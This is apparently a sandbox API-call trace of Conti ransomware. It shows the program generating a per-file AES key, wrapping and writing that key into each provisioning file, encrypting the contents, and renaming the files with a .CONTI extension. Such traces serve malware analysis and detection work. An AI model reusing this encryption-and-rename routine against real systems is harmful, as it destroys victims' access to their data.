	[0108.601] ReadFile (in: hFile=0x338, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x1cc, lpOverlapped=0x0) returned 1
	[0108.601] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x1cc, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x1d0) returned 1
	[0108.601] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.601] WriteFile (in: hFile=0x338, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x1d0, lpOverlapped=0x0) returned 1
	[0108.601] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.601] WriteFile (in: hFile=0x338, lpBuffer=0x6513bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x6513bf0*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0108.601] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.601] CloseHandle (hObject=0x338) returned 1
	[0108.601] GetProcessHeap () returned 0x1720000
	[0108.601] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.601] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0108.601] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0108.602] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\213__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\213__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0108.602] GetProcessHeap () returned 0x1720000
	[0108.602] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.602] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0108.602] GetProcessHeap () returned 0x1720000
	[0108.602] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0108.602] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0108.603] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x65152c8 | out: phKey=0x65152c8*=0x17c82b0) returned 1
	[0108.603] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65152cc, pdwDataLen=0x483fb8c | out: pbData=0x65152cc*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0108.603] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\214__connections_cellular_vodafone it (italy)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.604] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\214__connections_cellular_vodafone it (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0108.604] GetLastError () returned 0x0
	[0108.604] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=717) returned 1
	[0108.604] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cd
	[0108.604] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.604] SetEndOfFile (hFile=0x338) returned 1
	[0108.604] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.604] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.604] WriteFile (in: hFile=0x338, lpBuffer=0x65152cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x65152cc*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0108.606] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.606] ReadFile (in: hFile=0x338, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x2cd, lpOverlapped=0x0) returned 1
	[0108.606] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2cd, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2d0) returned 1
	[0108.606] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.606] WriteFile (in: hFile=0x338, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x2d0, lpOverlapped=0x0) returned 1
	[0108.606] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.606] WriteFile (in: hFile=0x338, lpBuffer=0x65152c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x65152c0*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0108.606] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.606] CloseHandle (hObject=0x338) returned 1
	[0108.607] GetProcessHeap () returned 0x1720000
	[0108.607] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.607] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml"
	[0108.607] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.607] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\214__connections_cellular_vodafone it (italy)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\214__connections_cellular_vodafone it (italy)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.607] GetProcessHeap () returned 0x1720000
	[0108.607] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.607] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0108.607] GetProcessHeap () returned 0x1720000
	[0108.607] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589100 | out: hHeap=0x1720000) returned 1
	[0108.607] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0108.608] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x65149a8 | out: phKey=0x65149a8*=0x17c84f0) returned 1
	[0108.608] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65149ac, pdwDataLen=0x483fb8c | out: pbData=0x65149ac*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0108.609] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\215__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0108.609] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\215__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0108.609] GetLastError () returned 0x0
	[0108.609] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=480) returned 1
	[0108.609] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0108.609] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.609] SetEndOfFile (hFile=0x338) returned 1
	[0108.610] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.610] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.610] WriteFile (in: hFile=0x338, lpBuffer=0x65149ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x65149ac*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0108.611] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.612] ReadFile (in: hFile=0x338, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x1e0, lpOverlapped=0x0) returned 1
	[0108.612] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x1e0, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x1f0) returned 1
	[0108.612] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.612] WriteFile (in: hFile=0x338, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x1f0, lpOverlapped=0x0) returned 1
	[0108.612] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.612] WriteFile (in: hFile=0x338, lpBuffer=0x65149a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x65149a0*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0108.612] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.612] CloseHandle (hObject=0x338) returned 1
	[0108.612] GetProcessHeap () returned 0x1720000
	[0108.612] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.612] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0108.612] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0108.612] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\215__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\215__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0108.616] GetProcessHeap () returned 0x1720000
	[0108.616] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.616] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0108.616] GetProcessHeap () returned 0x1720000
	[0108.616] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0108.616] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0108.969] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x65122e0 | out: phKey=0x65122e0*=0x17c7db0) returned 1
	[0108.969] CryptExportKey (in: hKey=0x17c7db0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65122e4, pdwDataLen=0x483fb8c | out: pbData=0x65122e4*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0108.970] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\216__connections_cellular_wind (italy)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.166] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\216__connections_cellular_wind (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4
	[0110.166] GetLastError () returned 0x0
	[0110.166] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=643) returned 1
	[0110.166] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x283
	[0110.166] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.166] SetEndOfFile (hFile=0x3f4) returned 1
	[0110.440] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.440] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.440] WriteFile (in: hFile=0x3f4, lpBuffer=0x65122e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x65122e4*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0110.453] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.453] ReadFile (in: hFile=0x3f4, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x283, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x283, lpOverlapped=0x0) returned 1
	[0110.453] CryptEncrypt (in: hKey=0x17c7db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x283, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x290) returned 1
	[0110.453] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.453] WriteFile (in: hFile=0x3f4, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x290, lpOverlapped=0x0) returned 1
	[0110.454] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.454] WriteFile (in: hFile=0x3f4, lpBuffer=0x65122d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x65122d8*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0110.454] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.454] CloseHandle (hObject=0x3f4) returned 1
	[0110.454] GetProcessHeap () returned 0x1720000
	[0110.454] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.967] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml"
	[0110.967] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.967] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\216__connections_cellular_wind (italy)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\216__connections_cellular_wind (italy)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.968] GetProcessHeap () returned 0x1720000
	[0110.968] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.968] CryptDestroyKey (hKey=0x17c7db0) returned 1
	[0110.968] GetProcessHeap () returned 0x1720000
	[0110.968] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589768 | out: hHeap=0x1720000) returned 1
	[0110.968] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0110.968] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x6571168 | out: phKey=0x6571168*=0x17c7d30) returned 1
	[0110.968] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x657116c, pdwDataLen=0x483fb8c | out: pbData=0x657116c*, pdwDataLen=0x483fb8c*=0x20c) returned 1
